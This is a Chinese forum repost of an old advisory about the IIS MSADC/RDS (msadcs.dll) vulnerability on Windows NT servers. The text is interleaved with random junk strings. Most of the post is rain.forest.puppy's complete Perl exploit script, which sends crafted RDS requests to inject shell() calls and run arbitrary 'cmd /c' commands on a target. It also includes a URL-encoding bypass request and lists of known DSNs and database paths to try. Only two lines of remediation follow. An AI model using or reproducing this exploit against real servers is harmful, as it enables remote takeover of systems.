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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) P~6QRm  
;%#.d$cU  
涉及程序: s":\ >  
Microsoft NT server ")gd)_FOS  
3U.?Jbm-8  
描述: -W6r.E$mC  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 r~<I5MZY  
mVSaC  
详细: +{eZ@  
如果你没有时间读详细内容的话,就删除: l(o;O.dLt  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @Czj] t`  
有关的安全问题就没有了。 :)djHPP*  
D&)w =qIu  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 |z]O@@j$  
TB oN8cB}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 I: j!A  
关于利用ODBC远程漏洞的描述,请参看: ?zS t  
>TnV Lx<  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TgDx3U[  
bD: yu  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ~qjnV  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp K #f*LV5  
g^`; B"  
这里不再论述。 7H,p/G?]k  
y*f 5_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: P%CNu  
8J5{}4s\f  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset CH`_4UAX%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =P,h5J  
ox}LC, !  
gG>|5R0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" >k\lE(  
D09/(%4j  
#!perl Gtyy^tz[  
# )|d]0/<  
# MSADC/RDS 'usage' (aka exploit) script Dej2-Y  
# GfG!CG^ %  
# by rain.forest.puppy zG[GyyAQ  
# uyp|Xh,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O<:"Irq\qr  
# beta test and find errors! 0/vmj,&B(  
@~Uu]1  
use Socket; use Getopt::Std; nc0!ag  
getopts("e:vd:h:XR", \%args); jTDaW8@L  
52zD!(   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; R Cgn\  
M^e;WY@ D  
if (!defined $args{h} && !defined $args{R}) { a$7}41F[~s  
print qq~ N'!:  
Usage: msadc.pl -h <host> { -d <delay> -X -v } &:}{?vU  
-h <host> = host you want to scan (ip or domain) o'`:$ (  
-d <seconds> = delay between calls, default 1 second L^7"I 4=(D  
-X = dump Index Server path table, if available IpRdGT02  
-v = verbose b!pG&7P  
-e = external dictionary file for step 5 t/3t69\x  
;QiSz=DyA  
Or a -R will resume a command session E|Q|Nx!6[  
 _xyq25/  
~; exit;} nO{m2&r+  
GJ3@".+6  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; G<8d=}  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `!JcQ'u  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} o\ M  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;mi+[`E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} AwC"c '  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Q`ALyp,9b  
y1FE +EX[  
if (!defined $args{R}){ $ret = &has_msadc; HqZ3]  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g~A~|di|  
t& *K  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Pr!H>dH8o  
. "cmd /c "; \'BA}v &/  
$in=<STDIN>; chomp $in; 15 /lX  
$command="cmd /c " . $in ; B9&$sTAB  
Q.$|TbVfds  
if (defined $args{R}) {&load; exit;} 74c[m}'S  
saj%[Gsy  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &azy1.i~  
&try_btcustmr; {tN?)~ZQ  
9CxFj)#5F  
print "\nStep 2: Trying to make our own DSN..."; T=kR!Gx  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }1sFddGVt  
d hp-XIA;  
print "\nStep 3: Trying known DSNs..."; 4|]0%H~n6  
&known_dsn; vpoYb  
`L=d72:  
print "\nStep 4: Trying known .mdbs..."; Ei Yj`P  
&known_mdb; o-f;$]yp>  
;Sqn w  
if (defined $args{e}){ bRhc8#kw)  
print "\nStep 5: Trying dictionary of DSN names..."; VsrYU@V  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } &Oxf^x["]  
[ 1$p}x  
print "Sorry Charley...maybe next time?\n"; ^tFbg+.  
exit; FS1> J%P  
ma%PVz`I;9  
############################################################################## mk'$ |2O  
.EXe3!J)!  
sub sendraw { # ripped and modded from whisker l0&Y",vy  
sleep($delay); # it's a DoS on the server! At least on mine... ]nM 2J}7  
my ($pstr)=@_; )v+R+3<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \a}_=O  
die("Socket problems\n"); kW!`vQm~  
if(connect(S,pack "SnA4x8",2,80,$target)){ n$03##pf  
select(S); $|=1; _Z>I"m  
print $pstr; my @in=<S>; 9bxBm  
select(STDOUT); close(S); ! /qQ:k-.  
return @in; dh~ cj5  
} else { die("Can't connect...\n"); }} &-h z&/A,  
%^?yI  
############################################################################## A@o:mZ+XN(  
w9W0j  
sub make_header { # make the HTTP request '20SoVp  
my $msadc=<<EOT >cV^f6fH  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 $ OAak  
User-Agent: ACTIVEDATA nz}} m^-j  
Host: $ip 3%NbT  
Content-Length: $clen J,&B   
Connection: Keep-Alive L4x08 e  
\GFFPCi4 D  
ADCClientVersion:01.06 @'ln)RT,  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~dm/U7B:  
?vd_8C2B  
--!ADM!ROX!YOUR!WORLD! d${RZ}/  
Content-Type: application/x-varg pT ;{05  
Content-Length: $reqlen $X;wj5oj  
bY>JLRQJ-  
EOT 1;Q>B>6  
; $msadc=~s/\n/\r\n/g; 1/l;4~p7'  
return $msadc;} [Dv6z t>  
KXtc4wra  
############################################################################## (oiF05n h  
@ a$HJ:  
sub make_req { # make the RDS request Tam\,j  
my ($switch, $p1, $p2)=@_; y=H\Z/=  
my $req=""; my $t1, $t2, $query, $dsn; ^-|yF2>`  
u]Eyb),Gy  
if ($switch==1){ # this is the btcustmr.mdb query  -l ?J  
$query="Select * from Customers where City=" . make_shell(); -eA3o2'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $d +n},[C{  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} =64%eF  
`"#0\Wh  
elsif ($switch==2){ # this is general make table query 49;2tl;F  
$query="create table AZZ (B int, C varchar(10))"; NETji:d  
$dsn="$p1";} rP=!!fC1;  
4wa8Vw`  
elsif ($switch==3){ # this is general exploit table query FX6 *`  
$query="select * from AZZ where C=" . make_shell(); DKzP)!B "  
$dsn="$p1";} kV mJG#  
EXrOP]Kl  
elsif ($switch==4){ # attempt to hork file info from index server EA/+~ux  
$query="select path from scope()"; -H;%1y$A-  
$dsn="Provider=MSIDXS;";} !FhiTh:GCh  
:M%s:,]R  
elsif ($switch==5){ # bad query Ijs"KAW ?  
$query="select"; vcsMU|GGh  
$dsn="$p1";} |RdiM&C7  
+EnJyli  
$t1= make_unicode($query); @rh1W$  
$t2= make_unicode($dsn); | gou#zi  
$req = "\x02\x00\x03\x00"; d:x=g i!  
$req.= "\x08\x00" . pack ("S1", length($t1)); w ,CZ*/^  
$req.= "\x00\x00" . $t1 ; 6Ee UiLd  
$req.= "\x08\x00" . pack ("S1", length($t2)); jgb>:]:  
$req.= "\x00\x00" . $t2 ; F%v?,`_&I  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; nKoc%TNqe  
return $req;} :<`hsKy&  
g@ ZZcBx  
############################################################################## wJ| wAS  
xP1`FSO8=  
sub make_shell { # this makes the shell() statement ;zbF~5e  
return "'|shell(\"$command\")|'";} P]pVYX# m  
Q>FuNdUk  
############################################################################## <AzM~]"3  
'$cU\DTN6  
sub make_unicode { # quick little function to convert to unicode <( 0TK5  
my ($in)=@_; my $out; ^<@9ph  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 4~G++|NQ  
return $out;} mST/u>'  
qX(sx2TK  
############################################################################## y?|JBf  
$X%w9l e  
sub rdo_success { # checks for RDO return success (this is kludge) k($N_XlE  
my (@in) = @_; my $base=content_start(@in); Ve4!MM@ti  
if($in[$base]=~/multipart\/mixed/){ 'WUevPmt  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} pGy]t  
return 0;} =;1MpD  
Tv;|K's'  
############################################################################## YdI|xu>0A^  
[-@Lbu-|  
sub make_dsn { # this makes a DSN for us X3KP N  
my @drives=("c","d","e","f"); kCRP?sj  
print "\nMaking DSN: "; t._W643~  
foreach $drive (@drives) { V9 pKb X  
print "$drive: "; F:8cd^d~u  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . nKFua l3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ZQHANr= 6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); O;qerE?i`  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; cTKj1)!z?X  
return 0 if $2 eq "404"; # not found/doesn't exist eeuTf  
if($2 eq "200") { r )cG ee  
foreach $line (@results) { 3B(6^iS  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Ksq{=q-T  
} return 0;} pZ/aZg1Ld  
-vXX u;frt  
############################################################################## r@3VN~  
*8zn\No<,  
sub verify_exists { Xi'y-cV ^  
my ($page)=@_; !\a'GO[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); i;1aobG  
return $results[0];} a X>bC-  
Ly?gpOqu5  
############################################################################## Uk u~"OGC  
/-wAy-W  
sub try_btcustmr { m<>3GF,5bP  
my @drives=("c","d","e","f"); i6)$pARp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8_MR7'C1hi  
+'$=\d^  
foreach $dir (@dirs) { Tp.0@aC  
print "$dir -> "; # fun status so you can see progress ,C88%k  
foreach $drive (@drives) { "-Lbz)k  
print "$drive: "; # ditto Kr!(<i  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KZ/U2.{O<  
$reqlenlen=length( "$reqlen" ); 2*6b{}yJH  
$clen= 206 + $reqlenlen + $reqlen; !M&L<0b:7e  
I| qoHN,g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (yv&&Jc  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} W8Z&J18AU  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} >A#wvQl7   
GZ# 6}/;b  
############################################################################## (&4aebkZO  
lzz rzx^  
sub odbc_error { HTK79 +  
my (@in)=@_; my $base; U+t|wK  
my $base = content_start(@in); q;a`*gX^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this kAbRXID  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .'C$w1[w  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4oT1<n`r+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ID" '`DKxe  
return $in[$base+4].$in[$base+5].$in[$base+6];} jk2h"):B>  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; D.H$4[u;j  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . woJO0hHR  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} rxu 6 #v F  
5n,?>> p$  
############################################################################## 5 T1M:~u i  
je1f\N45  
sub verbose { =.,]}  
my ($in)=@_; jW5n^Y)  
return if !$verbose; 4]jN@@  
print STDOUT "\n$in\n";} )&}\2NK6L  
[$_d|Z  
############################################################################## pqO}=*v@  
:1"{0 gm  
sub save { %-!ruc"}  
my ($p1, $p2, $p3, $p4)=@_; (3`Q`o;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Ml)~%ZbF  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $F-qqkR$  
close OUT;} mHjds77e  
0UeDM*  
############################################################################## /NCEZ@2BN,  
'+ 1<7jl&I  
sub load { +v:t  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Xxcv 5.ug  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ,@ A1eX}  
@p=<IN>; close(IN); `An`"$z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); uj|{TV>v9  
$target= inet_aton($ip) || die("inet_aton problems"); {"l_x]q  
print "Resuming to $ip ..."; .a\b_[+W  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; EzOO6  
if($p[1]==1) { Dk4Jg++  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [{e[3b*M|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; pOQ'k>!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); az@{O4  
if (rdo_success(@results)){print "Success!\n";} RWtD81(oC'  
else { print "failed\n"; verbose(odbc_error(@results));}} /v"u4Ipj  
elsif ($p[1]==3){ 1a4HThDXP  
if(run_query("$p[3]")){ ~Emeo&X  
print "Success!\n";} else { print "failed\n"; }} =,&PD(.  
elsif ($p[1]==4){ sh(G{Yz@  
if(run_query($drvst . "$p[3]")){ h')@NnFP 1  
print "Success!\n"; } else { print "failed\n"; }} @mBZu!,  
exit;} Cw]& B  
[_6_A O(Z  
############################################################################## _#xS1sD  
e`ti*1]q  
sub create_table { }N^.4HOS8  
my ($in)=@_; >oi`%V  
$reqlen=length( make_req(2,$in,"") ) - 28; cmF&1o3_  
$reqlenlen=length( "$reqlen" ); 22S4q`j  
$clen= 206 + $reqlenlen + $reqlen; }yZ9pTB.?E  
my @results=sendraw(make_header() . make_req(2,$in,"")); BYt#aqf  
return 1 if rdo_success(@results); "']I.  
my $temp= odbc_error(@results); verbose($temp); KCd}N  
return 1 if $temp=~/Table 'AZZ' already exists/; f$$l,wo  
return 0;} Xwy0dXko  
;n_|t/=  
############################################################################## d;O16xcM/  
aOWW ..|  
sub known_dsn { braHWC'VYg  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go J'9hzag  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", aP^,@RrL  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", j:K>3?   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 5Z/xY &  
|k$^RU<OF  
foreach $dSn (@dsns) { O@r%G0Jge  
print "."; <6g{vNA  
next if (!is_access("DSN=$dSn")); _4F(WCco  
if(create_table("DSN=$dSn")){ QP f*!E  
print "$dSn successful\n"; ,.[T]37  
if(run_query("DSN=$dSn")){  4b]/2H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b,"gBg  
print "Something's borked. Use verbose next time\n";}}} print "\n";} I$!rNfrs  
Qa@b-v'by  
############################################################################## (A(7?eq  
=W'a6)WE  
sub is_access { !gA<9h  
my ($in)=@_; i"mN0%   
$reqlen=length( make_req(5,$in,"") ) - 28; Rd~-.&   
$reqlenlen=length( "$reqlen" ); vw VeHjR  
$clen= 206 + $reqlenlen + $reqlen; 6L[Yn?;  
my @results=sendraw(make_header() . make_req(5,$in,"")); - ;1'{v  
my $temp= odbc_error(@results); o1<Y#db[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ("-Co,4ey  
return 0;} 5/Viz`hsz  
#DK@&Gv  
############################################################################## Zp@j*P  
C3q}Dh+]  
sub run_query { G"P@AOw  
my ($in)=@_; _b8&$\>  
$reqlen=length( make_req(3,$in,"") ) - 28; _'DT)%K  
$reqlenlen=length( "$reqlen" ); "SC}C  
$clen= 206 + $reqlenlen + $reqlen; -|;{/ s5  
my @results=sendraw(make_header() . make_req(3,$in,""));  *R1 m=  
return 1 if rdo_success(@results); <QbD ;(%  
my $temp= odbc_error(@results); verbose($temp); }jHS  
return 0;} CT5\8C  
KMC]<  
############################################################################## 7\x7ySM  
PyQt8Qlz  
sub known_mdb { Tbf't^Ot$  
my @drives=("c","d","e","f","g"); Qj;wk lq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); o 4G%m>$  
my $dir, $drive, $mdb; dqF]kP,VG  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q?} /q  
/)RyRS8c  
# this is sparse, because I don't know of many to9~l"n.s  
my @sysmdbs=( "\\catroot\\icatalog.mdb", LsaE-l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", }-YM>q  
"\\system32\\certmdb.mdb", kaM=Fk=t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% yOR]r+8  
B(tLV9B3Q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", eS(hLXE!7  
"\\cfusion\\cfapps\\forums\\forums_.mdb", >YG1sMV-J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", zT$-%  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6ub-NtVu  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", {"{kWbXZ  
"\\cfusion\\database\\cfexamples.mdb", P?|F+RoX$  
"\\cfusion\\database\\cfsnippets.mdb", Fg` P@hC  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ^`M,ju  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \dvzL(,  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6/{V#.(  
"\\cfusion\\database\\smpolicy.mdb", ]b5E_/P  
"\\cfusion\\database\cypress.mdb", a,eR'L<"*-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Pw c)u&  
"\\website\\cgi-win\\dbsample.mdb", ])`+ 78  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", {Hc [H-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" z!`aJE/  
); #these are just W5 l)mAv  
foreach $drive (@drives) { n^}M*#  
foreach $dir (@dirs){ <'(O0  
foreach $mdb (@sysmdbs) { R<\5 q%@G  
print "."; GSlvT:k  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ (]c M ;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; zNTcy1Sthk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ GFA D  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 9gWR djK:  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r.-U=ql  
tjONN(K`  
foreach $drive (@drives) { {?X#E12vf  
foreach $mdb (@mdbs) { k@}?!V*l  
print "."; C1V:_-  
if(create_table($drv . $drive . $dir . $mdb)){ AQ}(v,DOb  
print "\n" . $drive . $dir . $mdb . " successful\n"; \/qo2'V j`  
if(run_query($drv . $drive . $dir . $mdb)){ [Eq7!_ 3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; A=N &(k  
} else { print "Something's borked. Use verbose next time\n"; }}}} n,,hE_  
} UQ X.  
|ZJ<J)y  
############################################################################## `5SLo=~  
*U<l$gajq  
sub hork_idx { LgG7|\(-  
print "\nAttempting to dump Index Server tables...\n"; z2.9l?"rfQ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; v@xbur\L  
$reqlen=length( make_req(4,"","") ) - 28; ^4G%*-   
$reqlenlen=length( "$reqlen" ); Re[x$rw  
$clen= 206 + $reqlenlen + $reqlen; ]t2zwHo#  
my @results=sendraw2(make_header() . make_req(4,"","")); v d{`*|x  
if (rdo_success(@results)){ ?$chO|QY  
my $max=@results; my $c; my %d; AiF'*!1  
for($c=19; $c<$max; $c++){ vk:k~   
$results[$c]=~s/\x00//g; UrC>n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n0\k(@+k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; NA :_yA"  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; kzkrvC+u  
$d{"$1$2"}="";} yuef84~  
foreach $c (keys %d){ print "$c\n"; } S]"U(JmW\  
} else {print "Index server doesn't seem to be installed.\n"; }} " Y1]6 Zu  
p1BMQ?=($  
############################################################################## T"bH{|:%*=  
1QA{NAnu&  
sub dsn_dict {  AhyV  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); sxK|0i}6  
while(<IN>){ },]G +L;R  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `F(ghC  
next if (!is_access("DSN=$dSn")); ;q"Yz-3  
if(create_table("DSN=$dSn")){ c>$PLO^  
print "$dSn successful\n"; D4G*Wz8  
if(run_query("DSN=$dSn")){ -J6G=+ s/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { On`T pz/  
print "Something's borked. Use verbose next time\n";}}} ELvP<Ny}  
print "\n"; close(IN);} qN=l$_UD  
q,Nhfo(  
############################################################################## 39yp1  
gs:V4$(p4  
sub sendraw2 { # ripped and modded from whisker pzcl@  
sleep($delay); # it's a DoS on the server! At least on mine... ! ^ DQX=1  
my ($pstr)=@_; vyA `Z1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W'xJh0o  
die("Socket problems\n"); yKhN1kY  
if(connect(S,pack "SnA4x8",2,80,$target)){ pYBY"r  
print "Connected. Getting data"; ZzO^IZKlC  
open(OUT,">raw.out"); my @in; P}re"<MD  
select(S); $|=1; print $pstr; RxB9c(s^@  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @ L=dcO{r  
close(OUT); select(STDOUT); close(S); return @in; 9 *+X ^q'  
} else { die("Can't connect...\n"); }} =>m x>R`S  
V4CL% i  
############################################################################## e h6\y7 9g  
FhFP M)[  
sub content_start { # this will take in the server headers JFOXrRR=d  
my (@in)=@_; my $c; s#* DY  
for ($c=1;$c<500;$c++) { n7p,{KSQ  
if($in[$c] =~/^\x0d\x0a/){ P$H9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } g;eoH  
else { return $c+1; }}} +?%L X4Y  
return -1;} # it should never get here actually ;!9-I%e  
y?-zQs0  
############################################################################## "Nh}_jO  
xsERnF>`  
sub funky { (Wu J9  
my (@in)=@_; my $error=odbc_error(@in); w7e+~8|  
if($error=~/ADO could not find the specified provider/){ y{#9&ct&  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; T\OpPSYbl  
exit;} sMDHg  
if($error=~/A Handler is required/){ :$f9(f&  
print "\nServer has custom handler filters (they most likely are patched)\n"; &57s//PrX  
exit;} A>B_~=  
if($error=~/specified Handler has denied Access/){ ;Ob`B@!=b  
print "\nServer has custom handler filters (they most likely are patched)\n"; OaF[t*]D3  
exit;}} I=c}6  
!g2 ~|G  
############################################################################## !WgVk7aP`  
g+pj1ycw/  
sub has_msadc { Z` zyE P A  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 6483v'  
my $base=content_start(@results); egn9O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y q(CD!  
return 0;} V6a+VfH  
4iC=+YUn  
######################## (!:+q$#BK  
PCX X[N  
Rdj/n :  
解决方案: Bxf]Lu,\U@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll LQDU8[-  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ! +{$dB>a  
OD yKS;   
拿出来充数 哈哈
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